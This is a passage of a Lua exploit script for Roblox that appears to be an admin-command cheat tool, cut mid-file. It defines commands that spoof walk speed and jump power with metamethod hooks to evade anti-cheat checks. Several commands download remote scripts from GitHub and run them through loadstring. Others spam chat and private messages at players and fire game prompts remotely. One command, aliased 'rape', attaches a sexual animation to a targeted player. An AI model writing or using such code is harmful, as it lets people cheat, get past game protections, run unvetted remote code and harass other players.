for _, v in ipairs(Human:GetPlayingAnimationTracks()) do
v:Stop()
end
Animate.Disabled = false
end)
addcmd('allowcustomanim', {'allowcustomanimations'}, function(args, speaker)
StarterPlayer.AllowCustomAnimations = true
execCmd('refreshanimations')
end)
addcmd('unallowcustomanim', {'unallowcustomanimations'}, function(args, speaker)
StarterPlayer.AllowCustomAnimations = false
execCmd('refreshanimations')
end)
addcmd('loopanimation', {'loopanim'},function(args, speaker)
local Char = speaker.Character
local Human = Char and Char.FindFirstChildWhichIsA(Char, "Humanoid")
for _, v in ipairs(Human.GetPlayingAnimationTracks(Human)) do
v.Looped = true
end
end)
addcmd('tpposition',{'tppos'},function(args, speaker)
if #args < 3 then return end
local tpX,tpY,tpZ = tonumber((args[1]:gsub(",", ""))),tonumber((args[2]:gsub(",", ""))),tonumber((args[3]:gsub(",", "")))
local char = speaker.Character
if char and getRoot(char) then
getRoot(char).CFrame = CFrame.new(tpX,tpY,tpZ)
end
end)
addcmd('tweentpposition',{'ttppos'},function(args, speaker)
if #args < 3 then return end
local tpX,tpY,tpZ = tonumber((args[1]:gsub(",", ""))),tonumber((args[2]:gsub(",", ""))),tonumber((args[3]:gsub(",", "")))
local char = speaker.Character
if char and getRoot(char) then
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(tpX,tpY,tpZ)}):Play()
end
end)
addcmd('offset',{},function(args, speaker)
if #args < 3 then
return
end
if speaker.Character then
speaker.Character:TranslateBy(Vector3.new(tonumber(args[1]) or 0, tonumber(args[2]) or 0, tonumber(args[3]) or 0))
end
end)
addcmd('tweenoffset',{'toffset'},function(args, speaker)
if #args < 3 then return end
local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3])
local char = speaker.Character
if char and getRoot(char) then
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(tpX,tpY,tpZ)}):Play()
end
end)
addcmd('clickteleport',{},function(args, speaker)
if speaker == Players.LocalPlayer then
notify('Click TP','Go to Settings > Keybinds > Add to set up click teleport')
end
end)
addcmd("mouseteleport", {"mousetp"}, function(args, speaker)
local root = getRoot(speaker.Character)
local pos = IYMouse.Hit
if root and pos then
root.CFrame = CFrame.new(pos.X, pos.Y + 3, pos.Z, select(4, root.CFrame:components()))
end
end)
addcmd('tptool', {'teleporttool'}, function(args, speaker)
local TpTool = Instance.new("Tool")
TpTool.Name = "Teleport Tool"
TpTool.RequiresHandle = false
TpTool.Parent = speaker.Backpack
TpTool.Activated:Connect(function()
local Char = speaker.Character or workspace:FindFirstChild(speaker.Name)
local HRP = Char and Char:FindFirstChild("HumanoidRootPart")
if not Char or not HRP then
return warn("Failed to find HumanoidRootPart")
end
HRP.CFrame = CFrame.new(IYMouse.Hit.X, IYMouse.Hit.Y + 3, IYMouse.Hit.Z, select(4, HRP.CFrame:components()))
end)
end)
addcmd('clickdelete',{},function(args, speaker)
if speaker == Players.LocalPlayer then
notify('Click Delete','Go to Settings > Keybinds > Add to set up click delete')
end
end)
addcmd('getposition',{'getpos','notifypos','notifyposition'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = Players[v].Character
local pos = char and (getRoot(char) or char:FindFirstChildWhichIsA("BasePart"))
pos = pos and pos.Position
if not pos then
return notify('Getposition Error','Missing character')
end
local roundedPos = math.round(pos.X) .. ", " .. math.round(pos.Y) .. ", " .. math.round(pos.Z)
notify('Current Position',roundedPos)
end
end)
addcmd('copyposition',{'copypos'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = Players[v].Character
local pos = char and (getRoot(char) or char:FindFirstChildWhichIsA("BasePart"))
pos = pos and pos.Position
if not pos then
return notify('Getposition Error','Missing character')
end
local roundedPos = math.round(pos.X) .. ", " .. math.round(pos.Y) .. ", " .. math.round(pos.Z)
toClipboard(roundedPos)
end
end)
addcmd('walktopos',{'walktoposition'},function(args, speaker)
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
speaker.Character:FindFirstChildOfClass('Humanoid').WalkToPoint = Vector3.new(args[1],args[2],args[3])
end)
addcmd('speed',{'ws','walkspeed'},function(args, speaker)
if args[2] then
local speed = args[2] or 16
if isNumber(speed) then
speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed = speed
end
else
local speed = args[1] or 16
if isNumber(speed) then
speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed = speed
end
end
end)
addcmd('spoofspeed',{'spoofws','spoofwalkspeed'},function(args, speaker)
if args[1] and isNumber(args[1]) then
if hookmetamethod then
local char = speaker.Character
local setspeed;
local index; index = hookmetamethod(game, "__index", function(self, key)
if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "WalkSpeed" or key == "walkSpeed") and self:IsDescendantOf(char) then
return setspeed or args[1]
end
return index(self, key)
end)
local newindex; newindex = hookmetamethod(game, "__newindex", function(self, key, value)
if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "WalkSpeed" or key == "walkSpeed") and self:IsDescendantOf(char) then
setspeed = tonumber(value)
end
return newindex(self, key, value)
end)
else
notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)')
end
end
end)
addcmd('loopspeed',{'loopws'},function(args, speaker)
local speed = args[1] or 16
if args[2] then
speed = args[2] or 16
end
if isNumber(speed) then
local Char = speaker.Character or workspace:FindFirstChild(speaker.Name)
local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
local function WalkSpeedChange()
if Char and Human then
Human.WalkSpeed = speed
end
end
WalkSpeedChange()
HumanModCons.wsLoop = (HumanModCons.wsLoop and HumanModCons.wsLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("WalkSpeed"):Connect(WalkSpeedChange)
HumanModCons.wsCA = (HumanModCons.wsCA and HumanModCons.wsCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar)
Char, Human = nChar, nChar:WaitForChild("Humanoid")
WalkSpeedChange()
HumanModCons.wsLoop = (HumanModCons.wsLoop and HumanModCons.wsLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("WalkSpeed"):Connect(WalkSpeedChange)
end)
end
end)
addcmd('unloopspeed',{'unloopws'},function(args, speaker)
HumanModCons.wsLoop = (HumanModCons.wsLoop and HumanModCons.wsLoop:Disconnect() and false) or nil
HumanModCons.wsCA = (HumanModCons.wsCA and HumanModCons.wsCA:Disconnect() and false) or nil
end)
addcmd('spoofjumppower',{'spoofjp'},function(args, speaker)
if args[1] and isNumber(args[1]) then
if hookmetamethod then
local char = speaker.Character
local setpower;
local index; index = hookmetamethod(game, "__index", function(self, key)
if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "JumpPower" or key == "jumpPower") and self:IsDescendantOf(char) then
return setpower or args[1]
end
return index(self, key)
end)
local newindex; newindex = hookmetamethod(game, "__newindex", function(self, key, value)
if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "JumpPower" or key == "jumpPower") and self:IsDescendantOf(char) then
setpower = tonumber(value)
end
return newindex(self, key, value)
end)
else
notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)')
end
end
end)
addcmd('loopjumppower',{'loopjp','loopjpower'},function(args, speaker)
local jpower = args[1] or 50
if isNumber(jpower) then
local Char = speaker.Character or workspace:FindFirstChild(speaker.Name)
local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
local function JumpPowerChange()
if Char and Human then
if speaker.Character:FindFirstChildOfClass('Humanoid').UseJumpPower then
speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower = jpower
else
speaker.Character:FindFirstChildOfClass('Humanoid').JumpHeight = jpower
end
end
end
JumpPowerChange()
HumanModCons.jpLoop = (HumanModCons.jpLoop and HumanModCons.jpLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("JumpPower"):Connect(JumpPowerChange)
HumanModCons.jpCA = (HumanModCons.jpCA and HumanModCons.jpCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar)
Char, Human = nChar, nChar:WaitForChild("Humanoid")
JumpPowerChange()
HumanModCons.jpLoop = (HumanModCons.jpLoop and HumanModCons.jpLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("JumpPower"):Connect(JumpPowerChange)
end)
end
end)
addcmd('unloopjumppower',{'unloopjp','unloopjpower'},function(args, speaker)
local Char = speaker.Character or workspace:FindFirstChild(speaker.Name)
local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
HumanModCons.jpLoop = (HumanModCons.jpLoop and HumanModCons.jpLoop:Disconnect() and false) or nil
HumanModCons.jpCA = (HumanModCons.jpCA and HumanModCons.jpCA:Disconnect() and false) or nil
if Char and Human then
if speaker.Character:FindFirstChildOfClass('Humanoid').UseJumpPower then
speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower = 50
else
speaker.Character:FindFirstChildOfClass('Humanoid').JumpHeight = 50
end
end
end)
addcmd('tools',{'gears'},function(args, speaker)
local function copy(instance)
for i,c in pairs(instance:GetChildren())do
if c:IsA('Tool') or c:IsA('HopperBin') then
c:Clone().Parent = speaker:FindFirstChildOfClass("Backpack")
end
copy(c)
end
end
copy(Lighting)
local function copy(instance)
for i,c in pairs(instance:GetChildren())do
if c:IsA('Tool') or c:IsA('HopperBin') then
c:Clone().Parent = speaker:FindFirstChildOfClass("Backpack")
end
copy(c)
end
end
copy(ReplicatedStorage)
notify('Tools','Copied tools from ReplicatedStorage and Lighting')
end)
addcmd('notools',{'rtools','clrtools','removetools','deletetools','dtools'},function(args, speaker)
for i,v in pairs(speaker:FindFirstChildOfClass("Backpack"):GetDescendants()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:Destroy()
end
end
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:Destroy()
end
end
end)
addcmd('deleteselectedtool',{'dst'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:Destroy()
end
end
end)
addcmd("console", {}, function(args, speaker)
StarterGui:SetCore("DevConsoleVisible", true)
end)
addcmd('oldconsole',{},function(args, speaker)
-- Thanks wally!!
notify("Loading",'Hold on a sec')
local _, str = pcall(function()
return game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/console.lua", true)
end)
local s, e = loadstring(str)
if typeof(s) ~= "function" then
return
end
local success, message = pcall(s)
if (not success) then
if printconsole then
printconsole(message)
elseif printoutput then
printoutput(message)
end
end
wait(1)
notify('Console','Press F9 to open the console')
end)
addcmd("explorer", {"dex"}, function(args, speaker)
notify("Loading", "Hold on a sec")
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))()
end)
addcmd('olddex', {'odex'}, function(args, speaker)
notify('Loading old explorer', 'Hold on a sec')
local getobjects = function(a)
local Objects = {}
if a then
local b = InsertService:LoadLocalAsset(a)
if b then
table.insert(Objects, b)
end
end
return Objects
end
local Dex = getobjects("rbxassetid://10055842438")[1]
Dex.Parent = PARENT
local function Load(Obj, Url)
local function GiveOwnGlobals(Func, Script)
-- Fix for this edit of dex being poorly made
-- I (Alex) would like to commemorate whoever added this dex in somehow finding the worst dex to ever exist
local Fenv, RealFenv, FenvMt = {}, {
script = Script,
getupvalue = function(a, b)
return nil -- force it to use globals
end,
getreg = function() -- It loops registry for some idiotic reason so stop it from doing that and just use a global
return {} -- force it to use globals
end,
getprops = getprops or function(inst)
if getproperties then
local props = getproperties(inst)
if props[1] and gethiddenproperty then
local results = {}
for _,name in pairs(props) do
local success, res = pcall(gethiddenproperty, inst, name)
if success then
results[name] = res
end
end
return results
end
return props
end
return {}
end
}, {}
FenvMt.__index = function(a,b)
return RealFenv[b] == nil and getgenv()[b] or RealFenv[b]
end
FenvMt.__newindex = function(a, b, c)
if RealFenv[b] == nil then
getgenv()[b] = c
else
RealFenv[b] = c
end
end
setmetatable(Fenv, FenvMt)
pcall(setfenv, Func, Fenv)
return Func
end
local function LoadScripts(_, Script)
if Script:IsA("LocalScript") then
task.spawn(function()
GiveOwnGlobals(loadstring(Script.Source,"="..Script:GetFullName()), Script)()
end)
end
table.foreach(Script:GetChildren(), LoadScripts)
end
LoadScripts(nil, Obj)
end
Load(Dex)
end)
addcmd('remotespy',{'rspy'},function(args, speaker)
notify("Loading",'Hold on a sec')
-- Full credit to exx, creator of SimpleSpy
-- also thanks to Amity for fixing
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))()
end)
addcmd('audiologger',{'alogger'},function(args, speaker)
notify("Loading",'Hold on a sec')
loadstring(game:HttpGet(('https://raw.githubusercontent.com/infyiff/backup/main/audiologger.lua'),true))()
end)
local loopgoto = nil
addcmd('loopgoto',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
loopgoto = nil
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
loopgoto = Players[v]
local distance = 3
if args[2] and isNumber(args[2]) then
distance = args[2]
end
local lDelay = 0
if args[3] and isNumber(args[3]) then
lDelay = args[3]
end
repeat
if Players:FindFirstChild(v) then
if Players[v].Character ~= nil then
getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(distance,1,0)
end
wait(lDelay)
else
loopgoto = nil
end
until loopgoto ~= Players[v]
end
end)
addcmd('unloopgoto',{'noloopgoto'},function(args, speaker)
loopgoto = nil
end)
addcmd('headsit',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
if headSit then headSit:Disconnect() end
for i,v in pairs(players)do
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = true
headSit = RunService.Heartbeat:Connect(function()
if Players:FindFirstChild(Players[v].Name) and Players[v].Character ~= nil and getRoot(Players[v].Character) and getRoot(speaker.Character) and speaker.Character:FindFirstChildOfClass('Humanoid').Sit == true then
getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(0,1.6,0.4)
else
headSit:Disconnect()
end
end)
end
end)
addcmd('chat',{'say'},function(args, speaker)
local cString = getstring(1)
chatMessage(cString)
end)
spamming = false
spamspeed = 1
addcmd('spam',{},function(args, speaker)
spamming = true
local spamstring = getstring(1)
repeat wait(spamspeed)
chatMessage(spamstring)
until spamming == false
end)
addcmd('nospam',{'unspam'},function(args, speaker)
spamming = false
end)
addcmd('whisper',{'pm'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
task.spawn(function()
local plrName = Players[v].Name
local pmstring = getstring(2)
chatMessage("/w "..plrName.." "..pmstring)
end)
end
end)
pmspamming = {}
addcmd('pmspam',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
task.spawn(function()
local plrName = Players[v].Name
if FindInTable(pmspamming, plrName) then return end
table.insert(pmspamming, plrName)
local pmspamstring = getstring(2)
repeat
if Players:FindFirstChild(v) then
wait(spamspeed)
chatMessage("/w "..plrName.." "..pmspamstring)
else
for a,b in pairs(pmspamming) do if b == plrName then table.remove(pmspamming, a) end end
end
until not FindInTable(pmspamming, plrName)
end)
end
end)
addcmd('nopmspam',{'unpmspam'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
task.spawn(function()
for a,b in pairs(pmspamming) do
if b == Players[v].Name then
table.remove(pmspamming, a)
end
end
end)
end
end)
addcmd('spamspeed',{},function(args, speaker)
local speed = args[1] or 1
if isNumber(speed) then
spamspeed = speed
end
end)
addcmd('bubblechat',{},function(args, speaker)
if isLegacyChat then
ChatService.BubbleChatEnabled = true
else
TextChatService.BubbleChatConfiguration.Enabled = true
end
end)
addcmd('unbubblechat',{'nobubblechat'},function(args, speaker)
if isLegacyChat then
ChatService.BubbleChatEnabled = false
else
TextChatService.BubbleChatConfiguration.Enabled = false
end
end)
addcmd('blockhead',{},function(args, speaker)
speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
end)
addcmd('blockhats',{},function(args, speaker)
for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do
for i,c in pairs(v:GetDescendants()) do
if c:IsA("SpecialMesh") then
c:Destroy()
end
end
end
end)
addcmd('blocktool',{},function(args, speaker)
for _,v in pairs(speaker.Character:GetChildren()) do
if v:IsA("Tool") or v:IsA("HopperBin") then
for i,c in pairs(v:GetDescendants()) do
if c:IsA("SpecialMesh") then
c:Destroy()
end
end
end
end
end)
addcmd('creeper',{},function(args, speaker)
if r15(speaker) then
speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
speaker.Character.LeftUpperArm:Destroy()
speaker.Character.RightUpperArm:Destroy()
speaker.Character:FindFirstChildOfClass("Humanoid"):RemoveAccessories()
else
speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
speaker.Character["Left Arm"]:Destroy()
speaker.Character["Right Arm"]:Destroy()
speaker.Character:FindFirstChildOfClass("Humanoid"):RemoveAccessories()
end
end)
function getTorso(x)
x = x or Players.LocalPlayer.Character
return x:FindFirstChild("Torso") or x:FindFirstChild("UpperTorso") or x:FindFirstChild("LowerTorso") or x:FindFirstChild("HumanoidRootPart")
end
addcmd("bang", {"rape"}, function(args, speaker)
execCmd("unbang")
wait()
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
bangAnim = Instance.new("Animation")
bangAnim.AnimationId = not r15(speaker) and "rbxassetid://148840371" or "rbxassetid://5918726674"
bang = humanoid:LoadAnimation(bangAnim)
bang:Play(0.1, 1, 1)
bang:AdjustSpeed(args[2] or 3)
bangDied = humanoid.Died:Connect(function()
bang:Stop()
bangAnim:Destroy()
bangDied:Disconnect()
bangLoop:Disconnect()
end)
if args[1] then
local players = getPlayer(args[1], speaker)
for _, v in pairs(players) do
local bangplr = Players[v].Name
local bangOffet = CFrame.new(0, 0, 1.1)
bangLoop = RunService.Stepped:Connect(function()
pcall(function()
local otherRoot = getTorso(Players[bangplr].Character)
getRoot(speaker.Character).CFrame = otherRoot.CFrame * bangOffet
end)
end)
end
end
end)
addcmd("unbang", {"unrape"}, function(args, speaker)
if bangDied then
bangDied:Disconnect()
bang:Stop()
bangAnim:Destroy()
bangLoop:Disconnect()
end
end)
addcmd('carpet',{},function(args, speaker)
if not r15(speaker) then
execCmd('uncarpet')
wait()
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
carpetAnim = Instance.new("Animation")
carpetAnim.AnimationId = "rbxassetid://282574440"
carpet = speaker.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(carpetAnim)
carpet:Play(.1, 1, 1)
local carpetplr = Players[v].Name
carpetDied = speaker.Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
carpetLoop:Disconnect()
carpet:Stop()
carpetAnim:Destroy()
carpetDied:Disconnect()
end)
carpetLoop = RunService.Heartbeat:Connect(function()
pcall(function()
getRoot(Players.LocalPlayer.Character).CFrame = getRoot(Players[carpetplr].Character).CFrame
end)
end)
end
else
notify('R6 Required','This command requires the r6 rig type')
end
end)
addcmd('uncarpet',{'nocarpet'},function(args, speaker)
if carpetLoop then
carpetLoop:Disconnect()
carpetDied:Disconnect()
carpet:Stop()
carpetAnim:Destroy()
end
end)
addcmd('friend',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
speaker:RequestFriendship(Players[v])
end
end)
addcmd('unfriend',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
speaker:RevokeFriendship(Players[v])
end
end)
addcmd('bringpart',{},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
v.CFrame = getRoot(speaker.Character).CFrame
end
end
end)
addcmd('bringpartclass',{'bpc'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then
v.CFrame = getRoot(speaker.Character).CFrame
end
end
end)
gotopartDelay = 0.1
addcmd('gotopart',{'topart'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
wait(gotopartDelay)
getRoot(speaker.Character).CFrame = v.CFrame
end
end
end)
addcmd('tweengotopart',{'tgotopart','ttopart'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
wait(gotopartDelay)
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = v.CFrame}):Play()
end
end
end)
addcmd('gotopartclass',{'gpc'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
wait(gotopartDelay)
getRoot(speaker.Character).CFrame = v.CFrame
end
end
end)
addcmd('tweengotopartclass',{'tgpc'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
wait(gotopartDelay)
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = v.CFrame}):Play()
end
end
end)
addcmd('gotomodel',{'tomodel'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() and v:IsA("Model") then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
wait(gotopartDelay)
getRoot(speaker.Character).CFrame = v:GetModelCFrame()
end
end
end)
addcmd('tweengotomodel',{'tgotomodel','ttomodel'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() and v:IsA("Model") then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
wait(gotopartDelay)
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = v:GetModelCFrame()}):Play()
end
end
end)
addcmd('gotopartdelay',{},function(args, speaker)
local gtpDelay = args[1] or 0.1
if isNumber(gtpDelay) then
gotopartDelay = gtpDelay
end
end)
addcmd('noclickdetectorlimits',{'nocdlimits','removecdlimits'},function(args, speaker)
for i,v in ipairs(workspace:GetDescendants()) do
if v:IsA("ClickDetector") then
v.MaxActivationDistance = math.huge
end
end
end)
addcmd('fireclickdetectors',{'firecd','firecds'}, function(args, speaker)
if fireclickdetector then
if args[1] then
local name = getstring(1)
for _, descendant in ipairs(workspace:GetDescendants()) do
if descendant:IsA("ClickDetector") and descendant.Name == name or descendant.Parent.Name == name then
fireclickdetector(descendant)
end
end
else
for _, descendant in ipairs(workspace:GetDescendants()) do
if descendant:IsA("ClickDetector") then
fireclickdetector(descendant)
end
end
end
else
notify("Incompatible Exploit", "Your exploit does not support this command (missing fireclickdetector)")
end
end)
addcmd('noproximitypromptlimits',{'nopplimits','removepplimits'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("ProximityPrompt") then
v.MaxActivationDistance = math.huge
end
end
end)
addcmd('fireproximityprompts',{'firepp'},function(args, speaker)
if fireproximityprompt then
if args[1] then
local name = getstring(1)
for _, descendant in ipairs(workspace:GetDescendants()) do
if descendant:IsA("ProximityPrompt") and descendant.Name == name or descendant.Parent.Name == name then
fireproximityprompt(descendant)
end
end
else
for _, descendant in ipairs(workspace:GetDescendants()) do
if descendant:IsA("ProximityPrompt") then
fireproximityprompt(descendant)
end
end
end
else
notify("Incompatible Exploit", "Your exploit does not support this command (missing fireproximityprompt)")
end
end)
local PromptButtonHoldBegan = nil
addcmd('instantproximityprompts',{'instantpp'},function(args, speaker)
if fireproximityprompt then
execCmd("uninstantproximityprompts")
wait(0.1)
PromptButtonHoldBegan = ProximityPromptService.PromptButtonHoldBegan:Connect(function(prompt)
fireproximityprompt(prompt)
end)
else
notify('Incompatible Exploit','Your exploit does not support this command (missing fireproximityprompt)')
end
end)
addcmd('uninstantproximityprompts',{'uninstantpp'},function(args, speaker)
if PromptButtonHoldBegan ~= nil then
PromptButtonHoldBegan:Disconnect()
PromptButtonHoldBegan = nil
end
end)
addcmd('notifyping',{'ping'},function(args, speaker)
notify("Ping", math.round(speaker:GetNetworkPing() * 1000) .. "ms")
end)
addcmd('grabtools', {}, function(args, speaker)
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
for _, child in ipairs(workspace:GetChildren()) do
if speaker.Character and child:IsA("BackpackItem") and child:FindFirstChild("Handle") then
humanoid:EquipTool(child)
end
end
if grabtoolsFunc then
grabtoolsFunc:Disconnect()
end
grabtoolsFunc = workspace.ChildAdded:Connect(function(child)
if speaker.Character and child:IsA("BackpackItem") and child:FindFirstChild("Handle") then
humanoid:EquipTool(child)
end
end)
notify("Grabtools", "Picking up any dropped tools")
end)
addcmd('nograbtools',{'ungrabtools'},function(args, speaker)
if grabtoolsFunc then
grabtoolsFunc:Disconnect()
end
notify("Grabtools", "Grabtools has been disabled")
end)
local specifictoolremoval = {}
addcmd('removespecifictool',{},function(args, speaker)
if args[1] and speaker:FindFirstChildOfClass("Backpack") then
local tool = string.lower(getstring(1))
local RST = RunService.RenderStepped:Connect(function()
if speaker:FindFirstChildOfClass("Backpack") then
for i,v in pairs(speaker:FindFirstChildOfClass("Backpack"):GetChildren()) do
if v.Name:lower() == tool then
v:Remove()
end
end
end
end)
specifictoolremoval[tool] = RST
end
end)
addcmd('unremovespecifictool',{},function(args, speaker)
if args[1] then
local tool = string.lower(getstring(1))
if specifictoolremoval[tool] ~= nil then
specifictoolremoval[tool]:Disconnect()
specifictoolremoval[tool] = nil
end
end
end)
addcmd('clearremovespecifictool',{},function(args, speaker)
for obj in pairs(specifictoolremoval) do
specifictoolremoval[obj]:Disconnect()
specifictoolremoval[obj] = nil
end
end)
addcmd('light',{},function(args, speaker)
local light = Instance.new("PointLight")
light.Parent = getRoot(speaker.Character)
light.Range = 30
if args[1] then
light.Brightness = args[2]
light.Range = args[1]
else
light.Brightness = 5
end
end)
addcmd('unlight',{'nolight'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v.ClassName == "PointLight" then
v:Destroy()
end
end
end)
addcmd('copytools',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
task.spawn(function()
for i,v in pairs(Players[v]:FindFirstChildOfClass("Backpack"):GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:Clone().Parent = speaker:FindFirstChildOfClass("Backpack")
end
end
end)
end
end)
addcmd('naked',{},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA("Clothing") or v:IsA("ShirtGraphic") then
v:Destroy()
end
end
end)
addcmd('noface',{'removeface'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA("Decal") and v.Name == 'face' then
v:Destroy()
end
end
end)
addcmd('spawnpoint',{'spawn'},function(args, speaker)
spawnpos = getRoot(speaker.Character).CFrame
spawnpoint = true
spDelay = tonumber(args[1]) or 0.1
notify('Spawn Point','Spawn point created at '..tostring(spawnpos))
end)
addcmd('nospawnpoint',{'nospawn','removespawnpoint'},function(args, speaker)
spawnpoint = false
notify('Spawn Point','Removed spawn point')
end)
addcmd('flashback',{'diedtp'},function(args, speaker)
if lastDeath ~= nil then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
getRoot(speaker.Character).CFrame = lastDeath
end
end)
addcmd('hatspin',{'spinhats'},function(args, speaker)
execCmd('unhatspin')
wait(.5)
for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do
local keep = Instance.new("BodyPosition") keep.Name = randomString() keep.Parent = v.Handle
local spin = Instance.new("BodyAngularVelocity") spin.Name = randomString() spin.Parent = v.Handle
v.Handle:FindFirstChildOfClass("Weld"):Destroy()
if args[1] then
spin.AngularVelocity = Vector3.new(0, args[1], 0)
spin.MaxTorque = Vector3.new(0, args[1] * 2, 0)
else
spin.AngularVelocity = Vector3.new(0, 100, 0)
spin.MaxTorque = Vector3.new(0, 200, 0)
end
keep.P = 30000
keep.D = 50
spinhats = RunService.Stepped:Connect(function()
pcall(function()
